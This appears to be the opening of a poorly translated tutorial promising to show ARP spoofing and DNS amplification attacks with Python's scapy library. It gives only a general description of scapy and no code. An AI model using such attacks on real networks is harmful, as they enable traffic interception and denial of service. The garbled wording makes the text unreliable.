Python USES scapy simulation packet to implement arp attack DNS amplification attack examples

Scapy is a powerful interactive packet handler written in python that can be used to send, sniff, parse, and forge network packets. It is often used in network attacks and tests.

I'm just going to do it with python's scapy.

So here's how arp attacks, you can make an arp attack.
